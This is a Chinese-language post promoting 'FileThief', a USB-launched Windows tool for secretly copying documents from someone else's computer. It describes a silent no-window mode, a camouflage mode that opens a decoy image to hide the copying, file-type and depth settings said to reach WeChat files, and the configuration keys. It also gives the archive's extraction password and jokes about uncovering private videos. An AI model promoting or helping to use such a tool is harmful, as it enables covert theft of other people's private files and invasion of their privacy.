全网首发! 一键窃取电脑中的文件
以前见过这么一个软件,当U盘插入电脑的时候,在后台自动拷贝U盘内所有文件至电脑上。
那时候我就在想,如果这个软件可以反过来就好了,因为我想做的是插入U盘后,快速获取对方的电脑内的资料。
刚好前段时间也没啥事,就写了写,现在给大家分享一下。
目前已经实现的功能:
-
自定义窃取文件的类型 -
排除文件夹:避免C:\Windows这种系统目录的无意义探索 -
md5校验:自动校验文件md5,当有重复文件时只会拷贝一份 -
多线程写入:采用多线程写入,读写效率更高,最大支持512线程,建议配合USB3.0或者固态硬盘使用效果更佳 -
自动排除软件所在盘符:避免读取自身文件陷入死循环 -
静默运行:运行时无任何窗口或提示,只在执行完成后在当前目录生成一个消息文件 -
伪装模式:点击运行软件时打开任意文件(配合静默运行模式效果更佳) -
文件大小限制:文件超过指定大小则不进行拷贝,在配置文件中可自行设置 -
探索目录深度自定义:下标从0开始。C:\认定为0级目录,C:\Windows为一级目录,以此类推。深度越深,能嗅探到的文件类型更多,但是相对花的时间也就越长。
待优化
-
自动运行:插入U盘自动运行这个虽然能实现,但是此行为会被电脑管家等判定为风险行为,所以改为手动点击启动,后期如果找到更好的方法会对其改进。 -
平台兼容性:其实我手上的版本可以对WIndows/Linux/macOS通用,但是经过考虑之后决定只发布Windows版本。
运行环境
程序由java语言编写,不过我已经将jre环境集成在压缩包内,无需配置,只要将压缩包整个解压即可使用。
解压之后,可以看到有两个相似的程序。
其中FileThief.exe
点击之后会自动读取电脑中指定的文件类型(文件类型可在配置文件内自定义),并在当前目录新建一个File文件夹写入,执行完成之后程序自动退出。
另一个FileThief-shell.exe
功能与其一样,不同的是执行此程序并不会弹出任何窗口,只会在后台静默执行,可根据需要选择执行其中一种。
软件运行完成之后会自动退出,且会生成一个格式为yyyy-MM-dd HH:mm:ss.dat
的文件,此文件只起到记录作用,可定期清理。软件执行完成后拷贝的文件会存于File
文件夹内。
配置文件
配置文件application.properties
位于软件内的config目录,下面是各项配置的详细说明。
conf.suffix=doc,docx,xls,xlsx,ppt,pptx,pdf
需要窃取的文件类型,可根据需要自行更改,间隔请使用英文逗号
conf.exclude=
排除文件夹,避免无意义探索。例如:C:\Windows
,默认已经排除了大部分的系统文件夹,无需再进行配置,非要更改的话请注意文件分隔符
conf.depth=8
建议最大深度12,此深度已经能嗅探到包括微信文件在内的大多数文件
conf.max-file-size=1024
最大文件限制(单位:MB),1G等于1024MB
conf.min-file-size=0
最小文件限制(单位:MB)
conf.camouflage=test.jpg
文件伪装,启动软件时同时打开指定文件,该文件需要放在软件的同级目录
jpg
、png
、mp4
、zip
之类,说不定藏电脑里的小电影或者小视频啥的就被翻出来了呢解压密码:notcool